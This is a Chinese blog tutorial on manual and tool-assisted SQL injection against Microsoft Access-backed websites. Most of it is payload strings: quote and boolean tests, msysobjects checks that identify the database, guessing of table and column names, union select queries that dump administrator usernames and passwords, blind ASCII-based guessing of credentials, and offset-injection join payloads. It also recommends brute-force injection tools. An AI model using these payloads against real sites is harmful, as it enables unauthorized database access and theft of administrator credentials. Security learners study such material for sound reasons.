access的注入

新手最先接触的就是手工注入,度过新手期后就会开始使用工具,等到达大神级别后会发现很多东西工具做不了,这个过程被称作返璞归真。

一.access数据库介绍

Microsoft Office Access是由微软发布的关系数据库管理系统。它结合了 Microsoft Jet Database Engine 和 图形用户界面两项特点,是 Microsoft Office 的系统程序之一。至于别的什么乱七八糟的我就不啰嗦了。不过必须要注意他的优点(缺陷)(手动滑稽)

具体见链接

二.access的注入的基本步骤

1.首先,在url后加一个" ’ "以此判断是否存在注入(原理就是通过报错看是否会把’带入查询)

2.and 1=1观察是否有错误,无错误则判断出存在注入漏洞

3.and 1=2错误说明带进去了,正确说明没带进去(有时候and会被过滤)

4.判断数据库类型(本来是应该用- -的,但是视觉效果不好,所以就用-了)

and exsits(select * from msysobjects)>0 -access数据库
and exsits(select * from sysobjects)>0 -sqlserver数据库

5.判断数据库里有什么表(大部分公司的表名都不会是那么简单的admin,。。。)

and exists(select * from admin)

6.判断字段,例如判断是否有password这个字段(大部分列名也不是password那么简单)

and exists(select password from admin)

7.判断字段长度,显示正常就是存在,不正常就是不存在,直到试出来为止,比如22正常,23报错就是22。

order by 20
order by 30

8.这里按照order by 5算吧(记得要让他报错),然后他会报错,比如在2和4上报错

and 1=2 union select 1,2,3,4,5 from admin
and 1=2 union select 1,admin,3,password,5 from admin

9.番外:判断账户密码长度

and (select len(admin) from admin)=5 -如果返回正常说明管理员账户长度为5
and (select len(password) from admin)=5 -猜解管理员密码的长度是否为5

10.番外2:判断管理员账号的第一个数据,通过判断ascii码来判断

and (select top 1 asc(mid(admin,1,1)) from admin)>100 -返回正常说明大于100
and (select top 1 asc(mid(admin,2,1)) from admin)>100 -账户的第二个数据
and (select top 1 asc(mid(password,1,1)) from admin)>100 -密码第一个数据

三.到这里,就可以出新手区做做任务了,开始使用装备(工具)

在这里,我使用的是啊D注入工具(原理就是暴力破解)(接5.)
啊D
使用工具就很简单了,只要判断出数据库然后点一下检测就行了。当然,他不是万能的,有时候字典不行也弄不出来,这时候就要换一个了。。。

让我们来试一下明小子

one minite later…

many years later…

好吧,我也不知道为什么我打不开明小子(不要在意这些细节)。

总之几个工具多试一下,总有的字典比较高级,然后就试出来了(不过有的有防火墙,请求太频繁会被禁)

11.偏移注入(现在我们假设已经判断出表名了,但是猜不到列名,这时候用*挨个往前替换)

and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin
and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,* from admin
and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,* from admin

一直删到16返回正常值3和15

and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,* from admin

这里有一个公式:字段长度–最后的长度,就是22–16=6;然后10+6 2=22;4+6 3=22(记住就行了)**

union select 1,2,3,4,5,6,7,8,9,10,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)
union select 1,2,3,4,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id)inner join admin as c on a.id=c.id)

大家可以结合这两条代码看一下那个公式,是不是发现了什么规律,只可意会不可言传(其实主要是我说不明白)

  • 他出来的结果是表中那一列随机的一个值,不一定是名字
发布了13 篇原创文章 · 获赞 0 · 访问量 444

猜你喜欢

转载自blog.csdn.net/m0_46230316/article/details/105292628